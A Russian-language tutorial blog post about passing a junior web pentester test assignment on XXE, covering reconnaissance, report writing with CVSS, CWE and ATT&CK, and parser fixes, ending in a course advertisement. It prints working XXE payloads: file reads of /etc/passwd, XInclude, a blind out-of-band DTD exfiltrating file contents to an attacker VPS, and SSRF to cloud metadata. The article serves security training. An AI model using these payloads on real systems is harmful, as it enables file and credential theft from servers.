Перейти к содержимому

Тестовое задание на пентестера: XXE уязвимость — за что срезают баллы

Тестовое задание на пентестера: XXE уязвимость — за что срезают баллы
Время чтения: 12 мин.

На тестовом задании для позиции junior WAPT (Web Application Penetration Tester — пентестер веб-приложений) я нашёл XXE за двадцать минут: отправил payload с SYSTEM "file:///etc/passwd" через Burp Repeater, увидел содержимое файла в ответе и вставил скриншот в отчёт. Результат — 40% от максимального балла. Обратная связь от проверяющего уместилась в три пункта: «не проверил blind-вариант», «нет CVSS-вектора», «рекомендация — копипаст». Обидно? Ещё как. Через полгода я сам принимал такие задания — и увидел ту же картину у большинства кандидатов. Ниже — разбор каждой ошибки с конкретными payload, структурой отчёта по уязвимости и чек-листом для самопроверки.

Что проверяют в тестовом задании пентестера веб-приложений

Типичный формат: стенд с уязвимым приложением, 2–4 часа на работу, отчёт в свободной форме. Кандидат думает, что оценивают скорость нахождения бага. Проверяющий смотрит на другое.

Полнота покрытия. Не «нашёл или нет», а какие варианты XXE (XML External Entity — атака через подстановку внешних сущностей в XML-документ) кандидат проверил. Classic, blind, через загрузку файлов, через подмену Content-Type — это разные сценарии с разными предпосылками. Проверять нужно каждый.

Методология. Действовал ли кандидат по OWASP Testing Guide или тыкал payload наугад. Методология OWASP подразумевает последовательный перебор всех точек входа XML, а не проверку только очевидных.

Качество отчёта. Скриншот и два предложения — это не отчёт по уязвимости. Нужны: CVSS-вектор (числовая оценка критичности по стандартной шкале от 0 до 10), привязка к CWE (каталог типов уязвимостей, где каждый номер идентифицирует конкретный класс ошибки) и MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1190 — идентификаторы конкретных техник), описание business impact и рекомендации под конкретный стек приложения.

Зачем атакующему XXE? Сама по себе она не конечная цель, а инструмент эскалации. Прочитал конфиг — достал пароль от БД — получил клиентские данные. Или прочитал приватный SSH-ключ — залогинился на сервер. В терминах ATT&CK цепочка выглядит так: T1190 (Exploit Public-Facing Application — начальный доступ через публичное приложение) → T1005 (Data from Local System — сбор данных с локальной системы) → T1552.001 (Credentials In Files — учётные данные в файлах) или T1552.004 (Private Keys — кража приватных ключей). Кандидат, который показывает эту цепочку в отчёте, получает дополнительные баллы — проверяющий видит, что человек понимает бизнес-логику атаки, а не просто вставил payload из чит-шита.

Ошибки при поиске XXE уязвимости, за которые снижают оценку

Остановились на classic XXE — не проверили blind-сценарий

Самая частая ошибка. Кандидат отправляет <!ENTITY xxe SYSTEM "file:///etc/passwd">, видит содержимое файла в ответе, фиксирует находку — и переходит к следующей задаче. На реальном пентесте (и в грамотно составленном тестовом) приложение часто не возвращает значение сущности. Данные обрабатываются на бэкенде, в ответе — «200 OK» или ошибка без полезной информации.

Это blind XXE — «слепая» XXE-уязвимость. По данным PortSwigger, значительная часть реальных XXE именно blind: приложение парсит XML, но не отображает значения сущностей в ответе. Если кандидат не проверил blind-вариант, он мог пропустить уязвимость, специально заложенную на стенде.

Blind XXE проверяется через OOB-эксфильтрацию (Out-of-Band — данные уходят не в ответе приложения, а на внешний сервер атакующего). Для этого нужен Burp Collaborator (встроенный в Burp Suite Professional сервис, который фиксирует входящие DNS- и HTTP-запросы от целевого сервера) или бесплатный аналог вроде interactsh.

Пропустили XML внешние сущности в неочевидных форматах

Второй промах: кандидат проверяет только эндпоинты с явным XML в теле запроса. На деле XML прячется в неожиданных местах.

Загрузка файлов. DOCX, XLSX, SVG — внутри у них XML. Если приложение принимает аватарку в SVG, а серверная библиотека обработки изображений поддерживает XML-парсинг — вот вам точка входа для DTD-инъекции (внедрение вредоносного Document Type Definition, секции XML, через которую объявляются внешние сущности). По данным PortSwigger, даже если приложение ожидает PNG или JPEG, серверная библиотека может обработать SVG.

Подмена Content-Type. Некоторые REST API принимают данные в нескольких форматах. Попробуйте заменить Content-Type: application/json на application/xml и отправить тело в XML. По данным Intigriti, отдельные API неумышленно настроены на приём XML, хотя документация говорит только о JSON.

XInclude. Когда приложение встраивает пользовательский ввод в серверный XML-документ (например, в SOAP-запрос — формат обмена сообщениями, построенный на XML), вы не контролируете DOCTYPE. Зато работает XInclude — механизм XML для включения содержимого другого документа. Payload: <xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///etc/passwd"/>.

На тестовом задании обычно заложено 2–3 точки входа. Кандидат, нашедший только очевидную, теряет баллы за неполноту покрытия.

Ошибки в отчёте по пентесту: нет CVSS и привязки к стеку

Типичный отчёт проваленного кандидата: «Найдена XXE-уязвимость. Рекомендация: отключить обработку внешних сущностей». Тут три проблемы.

Нет CVSS-вектора. Для XXE с чтением файлов через сеть без аутентификации вектор CVSS 3.1 выглядит так: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Если видите эту строку впервые — расшифровка: AV:N — атака по сети, AC:L — низкая сложность эксплуатации, PR:N — привилегии не нужны, UI:N — действий пользователя не требуется, C:H — высокий ущерб конфиденциальности, I:N и A:N — целостность и доступность не затронуты. Итоговый скор: 7.5 (High). Если XXE позволяет SSRF (Server-Side Request Forgery — атака, при которой сервер отправляет запросы по адресу атакующего) к внутренним сервисам, impact выше.

Нет CWE и ATT&CK. XXE — это CWE-611 (Improper Restriction of XML External Entity Reference). По классификации OWASP входит в категорию A05:2021 — Security Misconfiguration. Последствия CWE-611 бьют по трём направлениям: утечка данных приложения (Read Application Data), обход защитных механизмов (Bypass Protection Mechanism), DoS через исчерпание ресурсов (DoS: Resource Consumption).

Рекомендация не привязана к стеку. «Отключите внешние сущности» — верно, но бесполезно без конкретики. Для Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Для Python: библиотека defusedxml вместо стандартного xml.etree. Для .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit. Проверяющий хочет видеть fix, который разработчик может скопировать в код.

Эксплуатация XXE на практике: делай раз, делай два, делай три

Пошаговый разбор: как правильно тестировать XXE уязвимость на тестовом задании. Предпосылки: установлен Burp Suite (Community или Professional), есть доступ к стенду, базовое понимание HTTP-запросов.

Разведка — находим все XML-эндпоинты

Зачем: определить все точки, где приложение принимает XML, прежде чем отправлять payload. Без этого шага вы проверите один эндпоинт и пропустите остальные — а на стенде их обычно несколько.

  1. Пройдите приложение через Burp Proxy — совершите все доступные действия (логин, формы, загрузка файлов, API-вызовы). Burp запишет HTTP-трафик.
  2. В HTTP History отфильтруйте запросы по Content-Type, содержащему xml или soap. Каждый такой запрос — потенциальная точка входа.
  3. Для JSON-эндпоинтов попробуйте в Repeater заменить Content-Type: application/json на application/xml и отправить тело в XML. Если сервер вернул не 415 Unsupported Media Type, а что-то другое — эндпоинт принимает XML.
  4. Проверьте загрузку файлов: отправьте простой SVG без payload (просто <svg xmlns="..."><text>test</text></svg>). Если сервер обработал — это вектор для XXE через файл.
  5. Зафиксируйте результат: таблица с URL, методом и форматом тела для каждого XML-эндпоинта. Эта таблица потом пойдёт в отчёт.

Classic XXE — чтение файлов через внешнюю SYSTEM-сущность

Зачем: проверить самый прямой вариант — парсер раскрывает внешние сущности и возвращает результат в ответе.

Отправьте в Burp Repeater запрос на найденный XML-эндпоинт. Замените тело на:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!DOCTYPE foo [...]> — DTD, секция XML для объявления сущностей. Ключевое слово SYSTEM указывает парсеру загрузить содержимое файла. Ссылка &xxe; в теле документа подставляет это содержимое.

Ожидаемый результат: в ответе — строки из /etc/passwd вида root:x:0:0:root:/root:/bin/bash. Если ответ пустой или содержит ошибку без данных файла — переходите к blind-варианту.

Важный момент: элемент <data> замените на реальный элемент из легитимного запроса. Если приложение ожидает <productId>, используйте <productId>&xxe;</productId> — парсер подставит содержимое файла туда, где приложение ожидает данные. Шансы увидеть результат в ответе сразу вырастут.

Blind XXE — OOB exfiltration через внешний DTD

Зачем: вытащить данные, когда приложение не возвращает содержимое сущностей в ответе. А так бывает часто.

Предпосылки: внешний сервер (VPS), доступный из стенда, или Burp Collaborator в Professional-версии.

Техника использует параметрические сущности — тип XML-сущностей, объявляемых через %, которые работают только внутри DTD. Обычные сущности (&xxe;) фильтруются чаще, параметрические — реже.

Поднимите HTTP-сервер на VPS командой python3 -m http.server 8080 и создайте файл evil.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://YOUR-VPS:8080/?d=%file;'>">
%eval;
%exfil;

Сущность %file читает файл. Сущность %eval конструирует новую сущность %exfil, которая отправит HTTP-запрос с содержимым файла в параметре URL. Когда парсер обрабатывает DTD, он выполняет этот запрос — и данные утекают на ваш сервер.

Отправьте на целевой эндпоинт запрос с телом: <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://YOUR-VPS:8080/evil.dtd"> %dtd;]><root>test</root>.

Как понять, что сработало: в терминале с python3 -m http.server появится строка GET /?d=webserver-01 (или другое содержимое файла). Запрос пришёл — blind XXE подтверждена, данные эксфильтрированы.

По данным GoSecure (XXE workshop), для многострочных файлов эффективнее FTP-протокол: HTTP обрезает данные на переносах строк, а FTP передаёт файл целиком через поле пароля. Если на тестовом задании нужно вытащить конфиг с несколькими строками — попробуйте и этот вариант.

Ещё один вектор для этого шага: SSRF через XXE. Вместо file:/// укажите URL внутреннего сервиса (http://169.254.169.254/latest/meta-data/ для облачных метаданных или http://localhost:8080/admin). Если сервер вернёт ответ — это отдельная уязвимость с потенциально критическим импактом (OWASP A10:2021 — Server-Side Request Forgery).

Отчёт по XXE уязвимости — пример структуры для тестового задания

Как пройти тестовое на пентестера — вопрос не только эксплуатации, но и качества отчёта. Ниже — структура, за которую дают полный балл.

Заголовок: XML External Entity (XXE) Injection — чтение произвольных файлов сервера.

Severity: High. CVSS 3.1 Base Score: 7.5. Вектор: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. Если XXE даёт SSRF к облачным метаданным — severity поднимается.

Классификация: CWE-611. OWASP A05:2021. MITRE ATT&CK: T1190 → T1005 → T1552.001.

Описание: Эндпоинт POST /api/import принимает XML с включённой обработкой внешних сущностей (DTD processing активен, external entities не ограничены). Атакующий объявляет внешнюю сущность, указывающую на файл, и получает содержимое в ответе или через OOB-канал.

PoC (Proof of Concept): конкретный HTTP-запрос из Burp Repeater — метод, URL, заголовки, тело с payload и ответ сервера в текстовом формате. Разработчик должен суметь воспроизвести по вашему описанию. Скриншот — дополнение, а не замена.

Impact: доступ к /etc/passwd, конфигурационным файлам (.env, application.properties), потенциальное чтение credentials базы данных и SSH-ключей (T1552.004). При SSRF — доступ к внутренним сервисам и IAM-credentials облачных провайдеров.

Рекомендации (привязанные к стеку приложения): отключить DTD processing и загрузку внешних сущностей на уровне парсера. Конкретные настройки для Java, Python, .NET — по стеку стенда. Внедрить XSD-валидацию (whitelist-схему) для входящего XML. Обновить XML-библиотеки до актуальных версий.

Для контекста: по данным Deepwatch, XXE-уязвимости обнаруживались в продуктах Snapchat (2014 — чтение локальных файлов через веб-сервисы) и Facebook (2013 — чтение /etc/passwd через developer platform). Обе были найдены через bug bounty. Даже крупнейшие компании допускают эту ошибку конфигурации парсера — так что на тестовом задании она тем более встретится.

Чек-лист пентестера веб-приложений для тестового задания на XXE

Шаг Проверка Результат
1 Отфильтровать HTTP History по Content-Type: xml/soap —
2 Попробовать подмену Content-Type на xml для JSON-эндпоинтов —
3 Проверить формы загрузки файлов (SVG, DOCX, XLSX) —
4 Отправить classic XXE с SYSTEM "file:///etc/passwd" —
5 Проверить blind XXE через Collaborator/interactsh —
6 Попробовать XInclude для эндпоинтов без контроля DOCTYPE —
7 Проверить SSRF через XXE: SYSTEM "http://169.254.169.254/" —
8 Попробовать параметрические сущности для обхода фильтров —
9 Указать в отчёте CVSS-вектор, CWE-611, MITRE ATT&CK —
10 Привязать рекомендации к конкретному стеку приложения —

Это минимум для тестового. На реальном пентесте добавляются проверки XXE через альтернативные кодировки (UTF-16, UTF-7 — если парсер их поддерживает), тестирование Billion Laughs (DoS через рекурсивное раскрытие сущностей, когда <!ENTITY e1 "&e;&e;..."> вызывает экспоненциальный рост потребления памяти) и second-order XXE (XML обрабатывается не сразу, а при последующем действии). По данным Intigriti, UTF-7-кодировка позволяет обойти фильтры, которые ищут паттерны <!ENTITY и SYSTEM только в UTF-8-представлении.

Собеседование WAPT — не CTF, где достаточно захватить флаг. Тестовое задание на пентестера проверяет системность мышления, а не умение гуглить payload. За полтора года проверки таких заданий я заметил устойчивый паттерн: кандидаты, которые показывают полную цепочку — разведка, classic XXE, blind XXE, SSRF через XXE, отчёт с ATT&CK-маппингом — получают офферы, даже если техника ещё сырая. Те, кто находит три уязвимости, но сдаёт отчёт из скриншотов без severity и remediation, уходят с фидбеком «доработать методологию».

Рынок переполнен людьми, умеющими запускать sqlmap и копировать payload из чит-шита. Дефицит — в тех, кто способен объяснить заказчику, почему конкретную XXE нужно закрывать до пятницы, а не «в следующем спринте». Отчёт — это продукт работы пентестера. Не скриншот с содержимым /etc/passwd, а документ, по которому разработчик воспроизводит проблему, оценивает риск и пишет fix.

Пока индустрия нанимает по тестовым заданиям — а реальной альтернативы пока нет — единственный способ выделиться: показать не только эксплуатацию, но и весь процесс вокруг неё. На WAPT подобные цепочки разбирают в лабах от разведки до отчёта — с ментором, который сам проверяет тестовые.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.